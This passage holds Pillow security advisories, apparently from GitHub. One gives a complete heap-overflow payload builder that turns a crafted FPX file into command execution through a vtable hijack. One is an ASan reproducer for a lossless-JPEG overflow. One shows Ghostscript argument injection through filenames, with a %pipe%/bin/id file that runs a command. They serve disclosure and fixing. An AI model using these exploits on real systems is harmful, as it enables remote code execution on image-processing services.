This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about 2 width bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python bytes object's obtype with a pointer to a fake PyTypeObject / PyBufferProcs vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, PyBufferRelease walks obtype -> tpasbuffer -> bfreleasebuffer and executes call rax; the PoC points that at system@plt (fixed, the interpreter binary is non-PIE) with rdi set to the command string, yielding command execution.

PoC

To facilitate an exact reproduction on an x8664 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from Annex A.

The source code for the payload builder makepayload.py is in Annex B.

vulnerable.py is the program under test, a one-liner that opens the file it is given:

python #!/usr/bin/env python3 The entire vulnerable operation an application performs on an untrusted file. import sys from PIL import Image

Image.open(sys.argv[1]).load()

The payload is a standalone .fpx file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run makepayload.py inside the same container here purely for convenience, so its baked-in addresses (--offset, system@plt) match this pinned image. The payload redirects the hijacked indirect call to system@plt (0x4206c0, fixed because the interpreter binary is non-PIE) with a baked-in command:

console $ python3 makepayload.py --target 0x4206c0 --cmd id --out shell.fpx [control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craftiters=0 bad=0 [control] opening it: vtable hijack -> call 0x4206c0 with rdi -> 'id'

Then open it with vulnerable.py:

console $ python3 vulnerable.py shell.fpx uid=0(root) gid=0(root) groups=0(root) corrupted size vs. prevsize

Image.open() of the crafted file runs the baked command via system("id"): command execution as the user running the image processing (root in the container).

The trailing corrupted size vs. prevsize is glibc aborting during interpreter teardown over the corrupted heap, after id has already run.

The builder writes the command inline at the hijacked rdi, so --cmd is limited to 7 bytes (for example id, id;w). --offset and system@plt are constants of the pinned, ASLR-disabled image and hold across runs of it.

Impact

This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional olefile dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal Image.open() / load, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.

Annex A: Docker setup

The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (setarch -R) to reduce the system knowledge requirements. The single --security-opt seccomp=unconfined flag on docker run is required only because turning ASLR off uses the personality() syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.

1. Build the image. Put vulnerable.py (PoC) and makepayload.py (Annex B) in a directory with this Dockerfile:

dockerfile FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates \ python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \ && rm -rf /var/lib/apt/lists/ RUN python3.12 -m venv /opt/v \ && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47" ENV PATH=/opt/v/bin:$PATH WORKDIR /poc ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap. ENTRYPOINT ["setarch", "-R"] CMD ["bash"]

console $ docker build -t fjpeg1-poc . ... Downloading pillow-12.2.0-cp312-cp312-manylinux227x8664.manylinux228x8664.whl (7.1 MB) Successfully installed Pillow-12.2.0 olefile-0.47 Successfully built 370344c832b6 Successfully tagged fjpeg1-poc:latest

2. Start the (ASLR-disabled) container shell with the scripts mounted:

sh docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc

Annex B: payload builder source

makepayload.py:

python #!/usr/bin/env python3 """F-JPEG-1 payload builder for a 0-ASLR box (x8664 + glibc), pure Pillow (no native toolchain). Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCSUNKNOWN path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's obtype. --crash flood an adjacent obtype with 0x42.. -> SIGSEGV in PyBufferRelease (default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call --target Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.""" import sys, io, struct, math, argparse from PIL import Image

W, H = 65000, 2 SECT, OBTYPEOFF, DATAPAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748 FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF FPXCLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B") o32 = lambda v: struct.pack("<I", v) p64 = lambda v: struct.pack("<Q", v) INV = bytes(255 - i for i in range(256)) # 8-bit inversion table

def jpeg(src): b = io.BytesIO() Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0) return b.getvalue()

def decoderow(jpg): # Predict what the vulnerable JCSUNKNOWN path decodes, using Pillow itself: JCSUNKNOWN emits # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The # last decoded row is the one that lands in (and overflows past) the buffer. px = Image.open(io.BytesIO(jpg)).tobytes() return px[(H - 1) W 4:].translate(INV)

def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge) # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern # that reaches PyBufferRelease cleanly (uniform 0x42 avoids a premature glibc free() abort). src = bytearray(b"\xbd" (W H 4)); base = (H - 1) W 4; it = 0 for off, t in targets: for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v for it in range(iters): dec = decoderow(jpeg(src)); bad = 0 for off, t in targets: for i, v in enumerate(t): if dec[off + i] != v: bad += 1 src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v)) if not bad: break return jpeg(src), it, bad

def maxidfor(w, h): s, i = max(w, h), 1 while s > 64: s //= 2; i += 1 return i - 1 MAXID = maxidfor(W, H); RESNAME = "Resolution %04d" % MAXID

def imagecontents(): ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA" props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))] voff = 8 + 8 len(props); idx = vals = b"" for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v) body = o32(len(props)) + idx + vals return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" 16 + o32(1) + b"\x00" 16 + o32(48) + o32(len(body) + 4) + body)

def subimageheader(): b = bytearray(80) for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2), (56, 36), (60, 16), (64, 0), (72, 2)]: struct.packinto("<I", b, o, v) return bytes(b)

def buildfpx(jpg, out): data = b"\x00" 28 + jpg assert len(data) <= DATAPAD, (len(data), DATAPAD) pad = lambda x: x + b"\x00" ((-len(x)) % SECT) sd = {"ic": pad(imagecontents().ljust(4096, b"\x00")), "hdr": pad(subimageheader().ljust(4096, b"\x00")), "dat": pad(data.ljust(DATAPAD, b"\x00"))} ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"] dsec = math.ceil(6 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order) fsec = 1 while fsec 128 < fsec + content: fsec += 1 pos = {}; cur = fsec; dstart = cur; cur += dsec for k in order: pos[k] = cur; cur += ns(sd[k]) total = cur fat = [FREESECT] (fsec 128) for s in range(fsec): fat[s] = FATSECT def chain(a, n): for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN chain(dstart, dsec) for k in order: chain(pos[k], ns(sd[k])) def de(nm, t, ch, l, r, st, sz, cl=b"\x00" 16): n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64] return (n + struct.pack("<HBB", min((len(nm) + 1) 2, 64), t, 1) + o32(l) + o32(r) + o32(ch) + cl + o32(0) + b"\x00" 16 + o32(st) + struct.pack("<Q", sz)) directory = pad(b"".join([ de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPXCLSID), de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])), de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])), de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))])) h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1") for o, fmt, v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec), (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]: struct.packinto(fmt, h, o, v) for i in range(109): struct.packinto("<I", h, 76 + i 4, i if i < fsec else FREESECT) secs = [b""] total for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s 128:(s + 1) 128]) for j in range(dsec): secs[dstart + j] = directory[j SECT:(j + 1) SECT] for k in order: for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j SECT:(j + 1) SECT] open(out, "wb").write(bytes(h) + b"".join(secs))

def xhex(s): return int(s, 16)

SYSTEMPLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)

def main(): ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)") ap.addargument("--out", required=True, help="output .fpx path") ap.addargument("--crash", action="storetrue", help="crash mode: flood an adjacent obtype with 0x42.. and SIGSEGV (no addresses)") ap.addargument("--heap-base", type=xhex, default=0xbaa000, help="fixed heap base of the 0-ASLR box (default 0xbaa000)") ap.addargument("--offset", type=xhex, default=0x21e800, help="state->buffer - heapbase (default 0x21e800 -> S=0xdc8800)") ap.addargument("--target", type=xhex, default=SENTINEL, help="value called via the hijacked vtable; pass %#x (system@plt) for " "command execution (default is a sentinel for an RIP-control demo)" % SYSTEMPLT) ap.addargument("--cmd", default="id", help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)") a = ap.parseargs()

if a.crash: # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD # to make the decoded overflow bytes 0x42 -> the adjacent obtype becomes 0x4242424242424242. buildfpx(jpeg(bytes([0xBD]) (W H 4)), a.out) print("[crash] %s: opening it overwrites an adjacent obtype with 0x4242424242424242 " "-> SIGSEGV in PyBufferRelease (no addresses)" % a.out) return

if len(a.cmd.encode()) > 7: sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before obtype)") S = a.heapbase + a.offset A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET tg = [(OBTYPEOFF, p64(S + (A0 + A1) // 2)), (OBTYPEOFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system() tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8 tg += [(o, p64(a.target)) for o in range(B0, B1, 8)] jpg, it, bad = craft(tg) buildfpx(jpg, a.out) print("[control] %s: S=%#x target=%#x cmd=%r craftiters=%d bad=%d" % (a.out, S, a.target, a.cmd, it, bad)) print("[control] opening it: vtable hijack -> call %#x with rdi -> %r" % (a.target, a.cmd))

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self.size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scalenum/scaledenom, calls jpegstartdecompress(), and then reads scanlines into that buffer without ever comparing cinfo.outputwidth, cinfo.outputheight or cinfo.outcolorcomponents against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scaledenom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpegreadscanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

- src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpegstartdecompress() at :240, jpegreadscanlines() at :252, with no geometry check between them. - src/decode.c:222-231 — setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits state->xsize + 7) / 8. - src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks size, the tile extents and decoderconfig with no notion of lossless coding. - src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).

c // src/libImaging/JpegDecode.c if (context->scale > 1) { context->cinfo.scalenum = 1; context->cinfo.scaledenom = context->scale; } ... case 2: if (!jpegstartdecompress(&context->cinfo)) { break; } state->state++; / fall through / case 3: ok = 1; while (state->y < state->ysize) { ok = jpegreadscanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's outputheight when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requestedw >= 2 and H // requestedh >= 2. For thumbnail((256,256)) with the default reducinggap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGETCOMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, makesof3.py and trigger.py in an empty directory, then:

bash docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

makesof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

dockerfile FROM ubuntu:24.04 ENV DEBIANFRONTEND=noninteractive ARG TARGETCOMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a ARG CLANGVERSION=20 ARG LIBJPEGTURBOTAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake nasm pkg-config libc6-dev gcc \ wget gnupg lsb-release software-properties-common \ python3 python3-dev python3-pip python3-venv zlib1g-dev \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANGVERSION} \ && apt-get install -y --no-install-recommends clang-${CLANGVERSION} llvm-${CLANGVERSION} libclang-rt-${CLANGVERSION}-dev \ && rm -rf /var/lib/apt/lists/

ENV CC=clang-20 ENV CXX=clang++-20 ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV LDFLAGS="-fsanitize=address"

--- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan --- RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEGTURBOTAG} \ && cmake -B /build/ljt -S . -DCMAKEBUILDTYPE=None \ -DCMAKECCOMPILER=clang-20 \ -DCMAKECFLAGS="$CFLAGS" \ -DCMAKEEXELINKERFLAGS="$LDFLAGS" \ -DCMAKESHAREDLINKERFLAGS="$LDFLAGS" \ -DCMAKEINSTALLPREFIX=/opt/ljt -DWITHJPEG8=0 -DENABLESTATIC=0 \ && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

--- Pillow at the pinned commit, built with ASan against that libjpeg --- RUN git clone https://github.com/python-pillow/Pillow /src/repo WORKDIR /src/repo RUN git checkout ${TARGETCOMMIT}

ENV JPEGROOT=/opt/ljt ENV LDLIBRARYPATH=/opt/ljt/lib RUN python3 -m venv /venv \ && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \ && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \ /venv/bin/pip install --no-build-isolation --no-deps . \ && ln -sf "$(clang-20 -print-file-name=libclangrt.asan-x8664.so)" /opt/libasan.so \ && LDPRELOAD=/opt/libasan.so ASANOPTIONS=detectleaks=0 \ /venv/bin/python3 -c "from PIL import Image, features; print(Image.version, features.version('jpg'))"

COPY makesof3.py /tmp/makesof3.py COPY trigger.py /tmp/trigger.py RUN python3 /tmp/makesof3.py /tmp/sof3gray1200x1100.jpg

ENV ASANOPTIONS=detectleaks=0:abortonerror=1:symbolize=1 ENV ASANSYMBOLIZERPATH=/usr/lib/llvm-20/bin/llvm-symbolizer ENV LDPRELOAD=/opt/libasan.so CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

makesof3.py

python #!/usr/bin/env python3 """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra). Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact). """ import struct import sys

W = 1200 H = 1100 MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer

class BitWriter: def init(self): self.out = bytearray() self.acc = 0 self.n = 0

def put(self, value, nbits): for i in range(nbits - 1, -1, -1): self.acc = (self.acc << 1) | ((value >> i) & 1) self.n += 1 if self.n == 8: self.out.append(self.acc) if self.acc == 0xFF: self.out.append(0x00) # byte stuffing self.acc = 0 self.n = 0

def flush(self): while self.n: self.put(1, 1) return bytes(self.out)

Canonical Huffman: 17 symbols (categories 0..16), all of code length 5. BITS = [0] 17 BITS[5] = 17 HUFFVAL = list(range(17)) CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d): if d == 0: return 0 return abs(d).bitlength()

def buildpixels(): rows = [] for y in range(H): row = bytearray() while len(row) < W: row += MARKER rows.append(bytes(row[:W])) return rows

def main(path): rows = buildpixels() bw = BitWriter() prev = None for y in range(H): row = rows[y] for x in range(W): s = row[x] if y == 0 and x == 0: pred = 1 << 7 # 2^(P-1-Pt) elif x == 0: pred = prev[0] # Rb for first sample of a line else: pred = row[x - 1] # Ra, predictor 1 d = (s - pred) & 0xFFFF if d >= 0x8000: d -= 0x10000 ssss = category(d) code, length = CODES[ssss] bw.put(code, length) if ssss: v = d if d > 0 else d + (1 << ssss) - 1 bw.put(v & ((1 << ssss) - 1), ssss) prev = row entropy = bw.flush()

out = bytearray() out += b"\xff\xd8" # SOI # DHT: class 0 (DC/lossless), table id 0 dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL) out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht # SOF3: lossless, Huffman, sequential sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0]) out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0 sos = bytes([1, 1, 0x00, 1, 0, 0]) out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos out += entropy out += b"\xff\xd9" # EOI with open(path, "wb") as f: f.write(bytes(out)) print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if name == "main": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3gray1200x1100.jpg")

trigger.py

python import sys from PIL import Image, features print("Pillow", Image.version, "| libjpeg", features.version("jpg"), flush=True) im = Image.open("/tmp/sof3gray1200x1100.jpg") print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True) print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True) sys.stdout.flush() try: im.thumbnail((256, 256)) print("thumbnail returned, size=%s" % (im.size,), flush=True) except Exception as e: print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2 format=JPEG mode=L size=(1200, 1100) >> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422 WRITE of size 1200 at 0x74e4e904aad8 thread T0 #0 asanmemcpy #1 jcopysamplerows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5 #2 sepupsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3 #3 processdatasimplemain /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3 #4 jpegreadscanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3 #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22 #6 decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8) allocated by thread T0 here: #0 calloc #1 setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in asanmemcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100) thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

- Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected. - No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data. - Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducinggap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERRARITHNOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERRSOFUNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

1 / 2
Source: GitHub
First published (updated )
Severity
9.2
OS Command Injection, Command Injection
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

Vulnerable Codes

python infiletemp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: infd, infiletemp = tempfile.mkstemp() os.close(infd) infile = infiletemp # ... (copy fp into a temporary file)

Build Ghostscript command command = [ gsbinary, "-q", f"-g{width:d}x{height:d}", f"-r{resx:f}x{resy:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] ... subprocess.checkcall(command, startupinfo=startupinfo) # spawns Ghostscript

Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.

Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@): python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. FROM ubuntu:24.04

RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/ RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg .

CMD ["python3", "poc.py"] poc.py import os from PIL import Image

############################################################################################ Attacker controlled file ############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h" with open(name, "wb") as f: f.write(EPS)

############################################################################################

print(f"[] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[] call load(); this paths calls gs command with '-f {name}'") try: im.load() except Exception as e: print(f"[] load() raised: {type(e).name}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't display help") poc-rce.py import os from PIL import Image

############################################################################################ Attacker controlled file ############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

To chain this vulnerability into critical RCE, We need another arbitrary text file In this script, it is arg. name = "@arg" with open(name, "wb") as f: f.write(EPS)

############################################################################################

print(f"[] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[] call load(); this paths calls gs command with '-f {name}'") print(f"[] and this leads to arbitrary command injection.") print(f"") try: im.load() except Exception as e: print(f"") print(f"[] load() raised: {type(e).name}: {e}")

print("") print("CWE-78: OS Command Injection;") print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't call id") arg -sOutputFile=%pipe%/bin/id -c 1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice

Impact Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

